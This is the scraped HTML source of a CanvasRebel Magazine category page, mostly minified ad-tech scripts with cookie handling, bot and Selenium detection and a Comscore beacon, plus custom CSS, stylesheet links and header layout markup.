r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
331; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in window,`_Selenium_IDE_Recorder`in window,`callSelenium`in window,`_selenium`in window,`__webdriver_script_fn`in document,`__driver_evaluate`in document,`__webdriver_evaluate`in document,`__selenium_evaluate`in document,`__fxdriver_evaluate`in document,`__driver_unwrapped`in document,`__webdriver_unwrapped`in document,`__selenium_unwrapped`in document,`__fxdriver_unwrapped`in document,`__webdriver_script_func`in document,document.documentElement.getAttribute(`selenium`)!==null,document.documentElement.getAttribute(`webdriver`)!==null,document.documentElement.getAttribute(`driver`)!==null].some(e=>e)),e})}isSelenium(){return this.runTests()}};let Q=()=>
331{if(navigator&&navigator.userAgent&&X())return`uav`},te=()=>{let e=q();if(e.width>5e3||e.height>5e3)return`vpv`},ne=()=>{if(new Z().isSelenium())return`selenium`},re=()=>{if(J())return;let e=[te(),Q(),ne()].filter(e=>!!e);return e.length?e:void 0},ie=e=>(e==null?void 0:e[2])===`Y`,$=()=>ie(W.readExternalCookie(`usprivacy`));re()||$()||(()=>{try{var e,t,n,r,i,a,o,s,c,l,u;let d=(e=window.adthriveCLS)==null?void 0:e.siteAds,f=d==null?void 0:d.adOptions;if((f==null||(t=f.usCmpClickWrap)==null?void 0:t.enabled)===!0)return!0;let p=window.adthrive,m=p==null||(n=p.siteAds)==null?void 0:n.adOptions,h=m==null?void 0:m.usCMP,g=!(p==null||(r=p.siteAds)==null||(r=r.siteAdsProfiles)==null)&&r.length?p.siteAds:d,_=g?w(g):null,v=p==null||(i=p.core)==null?void 0:i.region,y=(m==null||(a=m.californiaPrivacyPopup)==null?void 0:a.enabled)===!0&&v===`CA`,b=(m==null||(o=m.thirdPartyCmp)==null?void 0:o.enabled)===!0||(p==null||(s=p.deliveryFeatures)==null?void 0:s.some(e=>e.startsWith(`pubProvidedCmp-`))),x=(_==null||(c=_.adOptions)==null||(c=c.usCMP)==null?void 0:c.clickWrapMode)===!0||(_==null||(l=_.experiment)==null?void 0:l.experimentChoices.some(e=>{var t;return((t=e.adOptions)==null||(t=t.usCMP)==null?void 0:t.clickWrapMode)===!0}))===!0;return x&&(!h||!v)?!0:((f==null||(u=f.usCMP)==null?void 0:u.clickWrapMode)===!0||(h==null?void 0:h.clickWrapMode)===!0||x||ee.isRolloutEnabled(`us-cmp-click-wrap-mode`))&&(h==null?void 0:h.enabled)===!0&&!!(v&&h.regions.includes(v))&&h.strictMode!==!0&&!y&&!b}catch{return!1}})()||(()=>{let e=`unknown`;return typeof Intl<`u`&&typeof Intl.DateTimeFormat==`function`&&typeof Intl.DateTimeFormat().resolvedOptions==`function`&&(e=Intl.DateTimeFormat().resolvedOptions().timeZone||`unknown`),e.startsWith(`America/`)})()&&(()=>{let e=`6035453`,t=$()?`0`:`1`,n={c1:`2`,c2:e,cs_fpid:W.readExternalCookie(`_pubcid`)||W.readExternalLocalStorage(`_pubcid`),cs_fpit:`o`,cs_fpdm:`*null`,cs_fpdt:`*null`,options:{enableFirstPartyCookie:!0},cs_ucfr:t||`0`};window._comscore=window._comscore||[],window._comscore.push(n),K(`https://sb.scorecardresearch.com/cs/${e}/beacon.js`).catch(e=>{p.error(`ComscoreTrackerComponent`,`init`,`Error during Comscore beacon.js import: `,e)})})()})();</script>
331<script data-no-optimize='1' data-cfasync='false' id='cls-disable-ads-e328f0f'>var cls_disable_ads=(function(e){window.adthriveCLS.buildDate=`2026-09-23`,Object.defineProperty(e,Symbol.toStringTag,{value:`Module`});let t=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},n=()=>window.adthriveCLS,r={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},i=e=>{let t=window.location.href;return e.some(e=>new RegExp(e,`i`).test(t))};function a(e){"@babel/helpers - typeof";return a=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},a(e)}function o(e,t){if(a(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(a(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function s(e){var t=o(e,`string`);return a(t)==`symbol`?t:t+``}function c(e,t,n){return(t=s(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l=class{constructor(e){this.adthrive=e,c(this,`all`,!1),c(this,`content`,!1),c(this,`recipe`,!1),c(this,`video`,!1),c(this,`locations`,new Set),c(this,`reasons`,new Set),(this.urlHasEmail(window.location.href)||this.urlHasEmail(window.document.referrer))&&(this.all=!0,this.reasons.add(`all_email`));try{this.checkCommandQueue()}catch(e){t.error(`ClsDisableAds`,`checkCommandQueue`,e)}}checkCommandQueue(){this.adthrive&&this.adthrive.cmd&&this.adthrive.cmd.forEach(e=>{let t=e.toString(),n=this.extractAPICall(t,`disableAds`);n&&this.disableAllAds(this.extractPatterns(n));let r=this.extractAPICall(t,`disableContentAds`);r&&this.disableContentAds(this.extractPatterns(r));let i=this.extractAPICall(t,`disablePlaylistPlayers`);i&&this.disablePlaylistPlayers(this.extractPatterns(i))})}extractPatterns(e){let t=e.match(/["'](.*?)['"]/g);if(t!==null)return t.map(e=>e.replace(/["']/g,``))}extractAPICall(e,t){let n=RegExp(t+`\\((.*?)\\)`,`g`),r=e.match(n);return r===null?!1:r[0]}disableAllAds(e){(!e||i(e))&&(this.all=!0,this.reasons.add(`all_page`))}disableContentAds(e){(!e||i(e))&&(this.content=!0,this.recipe=!0,this.locations.add(r.Content),this.locations.add(r.Recipe),this.reasons.add(`content_plugin`))}disablePlaylistPlayers(e){(!e||i(e))&&(this.video=!0,this.locations.add(`Video`),this.reasons.add(`video_page`))}urlHasEmail(e){return e?/([A-Z0-9._%+-]+(@|%(25)*40)[A-Z0-9.-]+\.[A-Z]{2,})/i.exec(e)!==null:!1}};let u=n();return u&&(u.disableAds=new l(window.adthrive)),e.ClsDisableAds=l,e})({});</script>
331<style id="wp-custom-css"> 332/* ADA Work start */ 333body.show_outline :focus, body.show_outline a:focus { 334 outline: 2px solid blue !important; 335} 336.nav-links-single .nav-links a { 337 margin: 2px; 338} 339.sr-only { 340 clip: rect(0, 0, 0, 0); 341 white-space: nowrap; 342 border-width: 0; 343 width: 1px; 344 height: 1px; 345 margin: -1px; 346 padding: 0; 347 position: absolute; 348 overflow: hidden; 349} 350.post--cats {color: #D21D14 !important} 351.post--date a {color: #636B79 !important} 352.read-more-btn {background-color : #E52015 !important} 353.hero-section .post--cats a {color: white !important} 354.hero-section .list-posts .post--cats a:hover {color: #06192D !important} 355.hero-section .list-posts .post--title a:hover {color: #06192D !important ; background-color : rgba(255,255,255,0.5)} 356.hero-section .list-posts .post--title:before {color: white !important 357} 358.hero-section .featured-post .post--date a {color: white !important} 359/* ADA Work End*/ 360.home-page .elementor-widget-trx_sc_recent_news .post_author { 361 display: none!important; 362} 363.post-template-default .author_info { 364 display: none; 365} 366.post_content .post_info_vertical_content { 367 display: none; 368} 369.single-post .post_author_by, 370.single-post .post_meta_comments { 371 display: none; 372} 373.single-post .post_footer .post_meta_item.post_meta_likes { 374 visibility: hidden; 375} 376</style> 377 378<style> 379.sr-only { 380 clip: rect(0, 0, 0, 0); 381 white-space: nowrap; 382 border-width: 0; 383 width: 1px; 384 height: 1px; 385 margin: -1px; 386 padding: 0; 387 position: absolute; 388 overflow: hidden; 389} 390.sc_layouts_panel_left.sc_layouts_effect_slide { 391 visibility: hidden; 392} 393.sc_layouts_panel.sc_layouts_effect_slide.sc_layouts_panel_opened { 394 visibility: visible; 395} 396.admin-bar .menu_mobile { 397 visibility: hidden; 398} 399.admin-bar .menu_mobile.opened { 400 visibility: visible; 401} 402.sc_layouts_row_hide_unfixed.trx_addons_parallax_blocks_inited { 403 visibility: hidden ; 404} 405.sc_layouts_row_hide_unfixed.trx_addons_parallax_blocks_inited.sc_layouts_row_fixed_on { 406 visibility: visible; 407} 408.nav-links-single.nav-links-fixed.nav-links-visible .nav-links .nav-previous:has(a:focus) { 409 left: 0; 410} 411.nav-links-single.nav-links-fixed.nav-links-visible .nav-links .nav-previous:has(a:focus) .nav-arrow-label { 412 right: calc(100% - 50px); 413} 414.nav-links-single.nav-links-fixed.nav-links-visible .nav-links .nav-next:has(a:focus) { 415 right: 0; 416} 417.nav-links-single.nav-links-fixed.nav-links-visible .nav-links .nav-next:has(a:focus) .nav-arrow-label { 418 left: calc(100% - 50px); 419} 420.comment-feedback-message 421{ 422 margin:1em 0; 423 padding:1em; 424 border:1px solid #d4edda; 425 background:#dff0d8; 426 color:#155724; 427 border-radius:6px; 428} 429.menu_mobile { 430 visibility: hidden; 431} 432.menu_mobile.opened { 433 visibility: visible; 434} 435body.show_outline :focus, body.show_outline a:focus { 436 outline: 2px solid blue !important; 437} 438.nav-links-single .nav-links a { 439 margin: 2px; 440} 441 442 .post_meta_item.post_date, .comment-form-cookies-consent label {color: #6A7381 !important} 443 .post_item_single a {color: #E52015 !important} 444 .post_item_single span a {text-decoration: underline} 445 446 .required-star { 447 color: #E52015; 448 white-space: nowrap; 449} 450 451</style> 452<link property="stylesheet" rel='stylesheet' id='elementor-post-2902-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/post-2902.css?ver=1790102364' media='all' /> 453<link property="stylesheet" rel='stylesheet' id='widget-spacer-css' href='https://canvasrebel.com/wp-content/plugins/elementor/assets/css/widget-spacer.min.css?ver=4.2.4' media='all' /> 454<link property="stylesheet" rel='stylesheet' id='widget-divider-css' href='https://canvasrebel.com/wp-content/plugins/elementor/assets/css/widget-divider.min.css?ver=4.2.4' media='all' /> 455<link property="stylesheet" rel='stylesheet' id='elementor-post-1709-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/post-1709.css?ver=1790102363' media='all' /> 456<link property="stylesheet" rel='stylesheet' id='widget-nav-menu-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/custom-pro-widget-nav-menu.min.css?ver=1790102483' media='all' /> 457<link property="stylesheet" rel='stylesheet' id='elementor-post-4060-css' href='https://canvasrebel.com/wp-content/uploads/elementor/css/post-4060.css?ver=1790102363' media='all' /> 458<link property="stylesheet" rel='stylesheet' id='elementor-gf-karla-css' href='https://fonts.googleapis.com/css?family=Karla:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=block' media='all' /> 459<link property="stylesheet" rel='stylesheet' id='elementor-gf-ptserif-css' href='https://fonts.googleapis.com/css?family=PT+Serif:100,100italic,200,200italic,300,300italic,400,400italic,500,500italic,600,600italic,700,700italic,800,800italic,900,900italic&display=block' media='all' /> 460<link property="stylesheet" rel='stylesheet' id='trx_addons-icons-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/css/font-icons/css/trx_addons_icons.css' media='all' /> 461<link property="stylesheet" rel='stylesheet' id='magnific-popup-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/js/magnific/magnific-popup.min.css' media='all' /> 462<link property="stylesheet" rel='stylesheet' id='trx_addons-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/css/__styles.css' media='all' /> 463<link property="stylesheet" rel='stylesheet' id='trx_addons-animations-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/css/trx_addons.animations.css' media='all' /> 464<link property="stylesheet" rel='stylesheet' id='trx_addons-sc_content-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/components/shortcodes/content/content.css' media='all' /> 465<style id="trx_addons-inline-styles-inline-css">.trx_addons_inline_1985438233 img.logo_image{max-height:67px;}.trx_addons_inline_1761151813{width:440px;}.trx_addons_inline_1440778836 img.logo_image{max-height:67px;}.trx_addons_inline_1256017613 img.logo_image{max-height:40px;}.trx_addons_inline_2086289821 img.logo_image{max-height:56px;}</style> 466<link property="stylesheet" rel='stylesheet' id='kicker-font-google_fonts-css' href='https://fonts.googleapis.com/css2?family=Sintony:wght@400;700&family=Cardo:wght@400;700&family=PT+Serif:ital,wght@0,400;0,700;1,400&subset=latin,latin-ext&display=swap' media='all' /> 467<link property="stylesheet" rel='stylesheet' id='kicker-fontello-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/font-icons/css/fontello.css' media='all' /> 468<link property="stylesheet" rel='stylesheet' id='kicker-style-css' href='https://canvasrebel.com/wp-content/themes/kicker/style.css?ver=4eccbeb59b33e14c32efe5f7a9710e41' media='all' /> 469<link property="stylesheet" rel='stylesheet' id='canvasrebel-main-css-css' href='https://canvasrebel.com/wp-content/themes/kicker-child/package-main/assets/css/main.css?ver=53481' media='all' /> 470<link property="stylesheet" rel='stylesheet' id='kicker-skin-politics-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/style.css' media='all' /> 471<link property="stylesheet" rel='stylesheet' id='kicker-gutenberg-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/__gutenberg.css' media='all' /> 472<link property="stylesheet" rel='stylesheet' id='kicker-plugins-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/__plugins.css' media='all' /> 473<link property="stylesheet" rel='stylesheet' id='kicker-powerkit-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/plugins/powerkit/powerkit.css' media='all' /> 474<link property="stylesheet" rel='stylesheet' id='kicker-custom-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/__custom.css' media='all' /> 475<link property="stylesheet" rel='stylesheet' id='kicker-child-css' href='https://canvasrebel.com/wp-content/themes/kicker-child/style.css' media='all' /> 476<link property="stylesheet" rel='stylesheet' id='trx_addons-responsive-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/css/__responsive.css' media='(max-width:1439px)' /> 477<link property="stylesheet" rel='stylesheet' id='trx_addons-sc_content-responsive-css' href='https://canvasrebel.com/wp-content/plugins/trx_addons/components/shortcodes/content/content.responsive.css' media='(max-width:1439px)' /> 478<link property="stylesheet" rel='stylesheet' id='kicker-gutenberg-responsive-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/__gutenberg_responsive.css' media='(max-width:1679px)' /> 479<link property="stylesheet" rel='stylesheet' id='kicker-responsive-css' href='https://canvasrebel.com/wp-content/themes/kicker/skins/politics/css/__responsive.css' media='(max-width:1679px)' /></head> 480 481<body data-rsssl=1 class="archive category category-strategy category-38 wp-custom-logo wp-embed-responsive wp-theme-kicker wp-child-theme-kicker-child skin_politics sidebar_present scheme_default blog_mode_category body_style_wide is_stream blog_style_excerpt sidebar_show sidebar_right sidebar_small_screen_below trx_addons_present header_type_custom header_style_header-custom-2902 header_position_default menu_side_ no_layout fixed_blocks_sticky elementor-default elementor-kit-9016"> 482 483 <!-- Google Tag Manager (noscript) -->
vendor: 69 bytes, lines 483-484
483 484<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
484GTM-54DQVGFK
vendor: 85 bytes, lines 484-485
484" 485height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
486<!-- End Google Tag Manager (noscript) --> 487 <div class="body_wrap" > 488 489 490 <div class="page_wrap" > 491 492 493 <a class="kicker_skip_link skip_to_content_link" href="#content_skip_link_anchor" tabindex="1">Skip to content</a> 494 <a class="kicker_skip_link skip_to_sidebar_link" href="#sidebar_skip_link_anchor" tabindex="1">Skip to sidebar</a> 495 <a class="kicker_skip_link skip_to_footer_link" href="#footer_skip_link_anchor" tabindex="1">Skip to footer</a> 496 497 <header class="top_panel top_panel_custom top_panel_custom_2902 top_panel_custom_header-main without_bg_image"> 498 <div data-elementor-type="cpt_layouts" data-elementor-id="2902" class="elementor elementor-2902" data-elementor-post-type="cpt_layouts"> 499 <section class="elementor-section elementor-top-section elementor-element elementor-element-eb11326 elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="eb11326" data-element_type="section" data-e-type="section" data-settings="{"background_background":"classic"}"> 500 <div class="elementor-container elementor-column-gap-default"> 501 <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3e8621a sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="3e8621a" data-element_type="column" data-e-type="column"> 502 <div class="elementor-widget-wrap elementor-element-populated"> 503 <div class="sc_layouts_item elementor-element elementor-element-26386fe sc_fly_static elementor-widget elementor-widget-spacer" data-id="26386fe" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 504 <div class="elementor-widget-container"> 505 <div class="elementor-spacer"> 506 <div class="elementor-spacer-inner"></div> 507 </div> 508 </div> 509 </div> 510 <section class="elementor-section elementor-inner-section elementor-element elementor-element-c7ef65b elementor-section-content-middle sc_layouts_row sc_layouts_row_type_compact elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="c7ef65b" data-element_type="section" data-e-type="section"> 511 <div class="elementor-container elementor-column-gap-no"> 512 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-2e2d479 sc_layouts_hide_on_mobile sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="2e2d479" data-element_type="column" data-e-type="column"> 513 <div class="elementor-widget-wrap elementor-element-populated"> 514 <div class="sc_layouts_item elementor-element elementor-element-d125967 sc_fly_static elementor-widget elementor-widget-spacer" data-id="d125967" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 515 <div class="elementor-widget-container"> 516 <div class="elementor-spacer"> 517 <div class="elementor-spacer-inner"></div> 518 </div> 519 </div> 520 </div> 521 <div class="sc_layouts_item elementor-element elementor-element-a08b36b sc_fly_static elementor-widget elementor-widget-text-editor" data-id="a08b36b" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"> 522 <div class="elementor-widget-container"> 523 <div class="pk-social-links-wrap pk-social-links-template-default pk-social-links-align-default pk-social-links-scheme-default pk-social-links-titles-disabled pk-social-links-counts-disabled pk-social-links-labels-disabled"> 524 <div class="pk-social-links-items"> 525 <div class="pk-social-links-item pk-social-links-instagram pk-social-links-no-count" data-id="instagram"> 526 <a href="https://www.instagram.com/canvasrebel" class="pk-social-links-link" target="_blank" rel="nofollow noopener" aria-label="Instagram"> 527 <i class="pk-social-links-icon pk-icon pk-icon-instagram"></i> 528 529 530 531 </a> 532 </div> 533 </div> 534 </div> 535 </div> 536 </div> 537 </div> 538 </div> 539 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-1bccead sc_layouts_column_align_center sc_layouts_column sc-mobile_content_align_inherit sc-mobile_layouts_column_align_left sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="1bccead" data-element_type="column" data-e-type="column"> 540 <div class="elementor-widget-wrap elementor-element-populated"> 541 <div class="sc_layouts_item elementor-element elementor-element-2d52c52 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_logo" data-id="2d52c52" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_logo.default"> 542 <div class="elementor-widget-container"> 543 <a href="https://canvasrebel.com/" 544 class="sc_layouts_logo sc_layouts_logo_default trx_addons_inline_1985438233" ><img class="logo_image" 545 src="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo.png" 546 srcset="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo.png 2x" 547 alt="CanvasRebel Magazine" ></a> </div>
548 </div> 549 </div> 550 </div> 551 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-adc0b53 sc_layouts_column_align_right sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="adc0b53" data-element_type="column" data-e-type="column"> 552 <div class="elementor-widget-wrap"> 553 </div> 554 </div> 555 </div> 556 </section> 557 <div class="sc_layouts_item elementor-element elementor-element-9ff34c8 sc_fly_static elementor-widget elementor-widget-spacer" data-id="9ff34c8" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 558 <div class="elementor-widget-container"> 559 <div class="elementor-spacer"> 560 <div class="elementor-spacer-inner"></div> 561 </div> 562 </div> 563 </div> 564 <div class="sc_layouts_item elementor-element elementor-element-a1e6a54 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="a1e6a54" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 565 <div class="elementor-widget-container"> 566 <div class="elementor-divider"> 567 <span class="elementor-divider-separator"> 568 </span> 569 </div> 570 </div> 571 </div> 572 <div class="sc_layouts_item elementor-element elementor-element-3e0c8e6 sc_fly_static elementor-widget elementor-widget-spacer" data-id="3e0c8e6" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 573 <div class="elementor-widget-container"> 574 <div class="elementor-spacer"> 575 <div class="elementor-spacer-inner"></div> 576 </div> 577 </div> 578 </div> 579 <section class="elementor-section elementor-inner-section elementor-element elementor-element-aaaced2 elementor-section-content-middle sc_layouts_row sc_layouts_row_type_normal elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="aaaced2" data-element_type="section" data-e-type="section"> 580 <div class="elementor-container elementor-column-gap-no"> 581 <div class="elementor-column elementor-col-25 elementor-inner-column elementor-element elementor-element-ed3165c sc_layouts_column_align_left sc_layouts_column sc_layouts_hide_on_mobile sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="ed3165c" data-element_type="column" data-e-type="column"> 582 <div class="elementor-widget-wrap elementor-element-populated"> 583 <div class="sc_layouts_item elementor-element elementor-element-6077f04 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_iconed_text" data-id="6077f04" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_iconed_text.default"> 584 <div class="elementor-widget-container"> 585 <div class="sc_layouts_iconed_text"><a href="#left_panel_1" class="sc_layouts_item_link sc_layouts_iconed_text_link"><span class="sc_layouts_item_icon sc_layouts_iconed_text_icon"> 586 <span></span> 587 <span></span> 588 <span></span> 589 </span></a></div><!-- /.sc_layouts_iconed_text --> </div> 590 </div> 591 </div> 592 </div> 593 <div class="elementor-column elementor-col-25 elementor-inner-column elementor-element elementor-element-a031d05 sc_layouts_column_align_center 